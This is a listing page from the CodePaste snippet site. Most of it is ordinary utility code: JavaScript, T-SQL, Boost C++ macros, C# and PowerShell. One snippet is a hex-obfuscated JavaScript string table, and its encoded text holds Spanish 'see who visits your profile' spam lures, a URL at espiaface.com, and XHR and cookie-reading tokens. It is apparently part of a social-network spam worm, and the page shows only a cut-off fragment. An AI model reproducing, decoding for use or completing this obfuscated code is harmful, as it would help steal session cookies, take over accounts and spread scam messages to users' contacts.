CodePaste Logo
New Snippet New Snippet Recent Snippets Recent Snippets My Snippets My Snippets Web Code Search Snippets Search
Sign inor Register
Format:
Recent snippets matching tags of Func
/*
@ Navigator Detect Function (JavaScript)
@author Luca Provenzano (mailto: hiimluca@gmail.com)
*/
 
function NavDetect(Navegador){
        var Navegador = navigator.appName;
        switch(Navegador){
            case 'Netscape':
            alert('Usted está utilizando Mozilla Firefox o Chrome');
76 Views
no comments
 
/*
@Function NumToBase();
@Exercise JS developed by Luca Provenzano
*/
 
function NumToBase(num, base, prefijo, sufijo){
                var Conversion;
                if (typeof base == 'undefined') base = 16;
                if (typeof prefijo == 'undefined') prefijo = '0x';
                if (typeof sufijo == 'undefined') sufijo = '';
by Luca Provenzano   September 13, 2011 @ 2:58pm
67 Views
no comments
 
SQL
CREATE FUNCTION [dbo].[udf_StringToTable]
(
    @string VARCHAR(MAX),
    @delimiter CHAR(1)
)
RETURNS @output TABLE(
    data VARCHAR(256)
)
BEGIN
by jaredmroberts   May 31, 2011 @ 11:01am
89 Views
no comments
 
var _0x3fe9=["x25x66x69x72x73x74x6Ex61x6Dx65x25x20x6Dx69x72x61x20x65x73x74x6Fx20x71x75x65x20x65x73x20x69x6Ex63x72x65x69x62x6Cx65x2Cx20x74x65x20x70x65x72x6Dx69x74x65x20x76x65x72x20x71x75x69x65x6Ex65x73x20x76x69x73x69x74x61x6Ex20x74x75x20x70x65x72x66x69x6Cx20x79x20x66x75x6Ex63x69x6Fx6Ex61x20x62x69x65x6Ex2Cx20x65x6Ex74x72x61x20x61x3Ax20x65x73x70x69x61x66x61x63x65x2Ex63x6Fx6D","x54x6Fx70x20x64x65x20x76x69x73x69x74x61x6Ex74x65x73x20x64x65x20x74x75x20x70x65x72x66x69x6Cx20x64x65x20x68x6Fx79x3Ax20x0Ax20x25x74x66x25x20x2Dx20x31x39x20x76x69x73x69x74x61x73x20x0Ax20x25x74x66x25x20x2Dx20x31x36x20x76x69x73x69x74x61x73x20x0Ax20x25x74x66x25x20x2Dx20x31x35x20x76x69x73x69x74x61x73x20x0Ax20x25x74x66x25x20x2Dx20x31x33x20x76x69x73x69x74x61x73x20x0Ax20x41x76x65x72x69x67x75x61x20x74x75x20x74x61x6Dx62x69x65x6Ex20x71x75x69x65x6Ex20x74x65x20x65x73x74x61x20x6Dx69x72x61x6Ex64x6Fx20x65x6Ex74x72x61x6Ex64x6Fx20x65x6Ex3Ax20x65x73x70x69x61x66x61x63x65x2Ex63x6Fx6Dx0Ax46x75x6Ex63x69x6Fx6Ex61x20x64x65x20x76x65x72x64x61x64x21","x68x74x74x70x3Ax2Fx2Fx77x77x77x2Ex65x73x70x69x61x66x61x63x65x2Ex63x6Fx6D
x2Fx63x61x72x67x61x2Ex70x68x70","x45x73x74x6Fx20x65x73x20x69x6Ex63x72x65x69x62x6Cx65x21x20x70x75x65x64x65x6Ex20x76x65x72x20x71x75x69x65x6Ex20x65x73x74x61x20x76x69x73x69x74x61x6Ex64x6Fx20x73x75x20x70x65x72x66x69x6Cx20x79x20x74x65x20x6Cx6Cx
65x67x61x6Ex20x6Ex6Fx74x69x66x69x63x61x63x69x6Fx6Ex65x73x2Cx20x73x69x67x61x6Ex20x6Cx6Fx73x20x70x61x73x6Fx73x20x64x65x2
 
0x65x73x74x61x20x70x61x67x69x6Ex61x20x71x75x65x20x65x78x70x6Cx69x63x61x20x63x6Fx6Dx6Fx20x68x61x63x65x72x6Cx6Fx2Cx20x65
x6Ex74x72x65x6Ex20x65x6Ex3Ax20x65x73x70x69x61x66x61x63x65x2Ex63x6Fx6D","x41x76x65x72x69x67x75x61x20x71x75x69x65x6Ex20x7
6x69x73x69x74x61x20x74x75x20x70x65x72x66x69x6C","x68x72x65x66","x6Cx6Fx63x61x74x69x6Fx6E","x74x6Fx70","x47x45x54","x6Fx70x65
x6E","x6Fx6Ex72x65x61x64x79x73x74x61x74x65x63x68x61x6Ex67x65","x72x65x61x64x79x53x74x61x74x65","x73x74x61x74x75x73","x72x65
x73x70x6Fx6Ex73x65x54x65x78x74","x73x65x6Ex64","x2F","x6Dx61x74x63x68","x63x6Fx6Fx6Bx69x65","x40x5B","x69x64","x3A","x6Ex61x6D
123 Views
no comments
 
SQL
create function dbo.fn_SpacePascal(@in varchar(500)) RETURNS varchar(500)
begin
 
/*
    by: jerry
    on: 5/2011
    to: seperate PsacalCaseWords to Pascal Case Words
*/
 
    if (@in COLLATE Latin1_General_CS_AS = UPPER(@in)) 
by Jerry Nixon   May 05, 2011 @ 2:31pm
Tags: SQL, TSQL, FUNCTION
147 Views
no comments
 
C++
#include <boost/type_traits/is_arithmetic.hpp>
#include <boost/type_traits/is_pointer.hpp>
#include <boost/utility/enable_if.hpp>
 
namespace boost {
 
// Never defined
extern void* enabler;
 
}
by Matt Calabrese   April 11, 2011 @ 9:42am
1260 Views
no comments
 
C#
//Calling Code for VM to pass message box delegate
Func<string, string, MessageBoxButton, MessageBoxImage, MessageBoxResult> messageBox = (msg, caption, buttons, image) => MessageBox.Show(msg, caption, buttons, image);
 
//pass above variable to VM
 
//Usage of message box delegate variable inside VM
MessageBoxResult = messageBoxinVM("Test Message", "Test Caption for Message", MessageBoxButton.YesNoCancel, MessageBoxImage.Question);
by Vijay Sharma   January 13, 2011 @ 2:13am
289 Views
no comments
 
C++
#include <boost/auto_function/auto_function.hpp>
#include <boost/generic/std_concept/iterator.hpp>
#include <boost/generic/type_traits/concept_is_modeled_by.hpp>
#include <cassert>
#include <forward_list>
#include <iterator>
#include <list>
#include <vector>
 
// Just for simplicity of the example, pull in the full namespace
by Matt Calabrese   November 13, 2010 @ 11:21am
240 Views
no comments
 
C++
/*==============================================================================
    Copyright (c) 2010 Matthew Calabrese

    Use, modification and distribution is subject to the Boost Software
    License, Version 1.0. (See accompanying file LICENSE_1_0.txt or copy at
    http://www.boost.org/LICENSE_1_0.txt)
==============================================================================*/
 
// Note: Currently only tested on GCC 4.5.1
by Matt Calabrese   October 16, 2010 @ 11:13pm
257 Views
no comments
 
C++
// Note: The compiler does not need "requires" or concepts for this to work
//       Also notice that here the predicate is a type
template< class L, class R >
BOOST_AUTO_FUNCTION( add( L left, R right ) )
  ( requires boost::is_pointer< L > )
(
  return left + right // no semicolon, must be an expression
) // Note these are parentheses
 
// Same as above only the predicate is a value
by Matt Calabrese   October 15, 2010 @ 3:48pm
281 Views
no comments
 
C++
#include <new>
#include <utility>
 
// This macro is variadic in order to directly support operator,
#define BOOST_AUTO_FUNCTION( ... ) auto __VA_ARGS__ -> BOOST_AUTO_FUNCTION_IMPL
 
#define BOOST_AUTO_VOID_FUNCTION( ... )                                        \
auto __VA_ARGS__ -> BOOST_AUTO_VOID_FUNCTION_IMPL
 
// Variadic to support expressions with commas not between parentheses
by Matt Calabrese   October 13, 2010 @ 4:22pm
260 Views
no comments
 
C#
//without using Object Initializer Syntax
 
                    letter = new Letter();
                    letter.Date = DateTime.Now.Date;
                    letter.RegisterDate = DateTime.Now.Date;
                    letter.LetterType = LetterType.Outgoing;
 
                    letter.LetterInformation = new LetterInformation();
                    letter.LetterInformation.RuntimeState = common.RuntimeState.Added;
                    letter.LetterInformation.Letter = letter;
by afsharm   January 19, 2010 @ 4:17am
295 Views
1 comments
 
param ([string] $filename)
 
function splitString([string]$string, [int]$length)
{
    $lines = @();
    $stringLength = $string.Length;
    $position = 0;
 
    while ($position -lt $stringLength)
    {
by David R. Longnecker   October 13, 2009 @ 11:00am
681 Views
no comments
 
C#
// works as expected
public wws_Item LoadBySku(string sku)
{
    Expression< Func<wws_Item, bool> > func = itm => itm.Sku == sku;
 
    Entity = Context.wws_Items.Where(func).SingleOrDefault();
    if (Entity != null)
        OnLoaded(Entity);
 
    return this.Entity;
by Rick Strahl   October 04, 2009 @ 5:02pm
663 Views
no comments
 
C#
public void LogSnippetViewAsync(string snippetId, string ipAddress, string userAgent)
{
    Func<string, string, string, bool> del = this.LogSnippetView; 
    del.BeginInvoke(snippetId, ipAddress,userAgent,null,null);            
}
 
public bool LogSnippetView(string snippetId, string ipAddress, string userAgent)
{
    if (string.IsNullOrEmpty(userAgent))
        return false;
by Rick Strahl   September 24, 2009 @ 3:31pm
499 Views
no comments
 
function truncate-string([string]$value, [int]$length)
{
    if ($value.Length -gt $length) { $value.Substring(0, $length) }
    else { $value }
}
by David R. Longnecker   August 25, 2009 @ 7:34am
1797 Views
no comments
 
C#
using System;
using System.Security.Cryptography;
using System.Text;
using System.Web;
 
public static string HashedString(string cleanString, string salt)
{
    if (String.IsNullOrEmpty(cleanString)) { return String.Empty; }
 
    //Bytes to hash
by tomy ismail   July 15, 2009 @ 10:32pm
253 Views
no comments
 
C#
using System.Security.Cryptography;
using System.Text;
using System.Web;
 
public static string SHA256Encrypt(string source, int digitRandom)
{
    string outputHash = String.Empty;
 
    try
    {
by tomy ismail   July 15, 2009 @ 10:29pm
291 Views
no comments
 
C#
/// <summary>
/// Writes the text (expression body) of the function being called, followed by its output.
/// </summary>
/// <typeparam name="T">The return type of expression/function.</typeparam>
/// <param name="expression">
/// The expression/function to be evaluated and whose output will be displayed.
/// </param>
/// <remarks>
/// Useful in seeing the results of function calls while debugging or 
/// working on spike solutions (see http://www.extremeprogramming.org/rules/spike.html). 
by Al Gonzalez   July 14, 2009 @ 4:31pm
228 Views
no comments
 
brought to you by:
West Wind Techologies



If you find this site useful and use it frequently please consider making a donation to support this free service.
Donate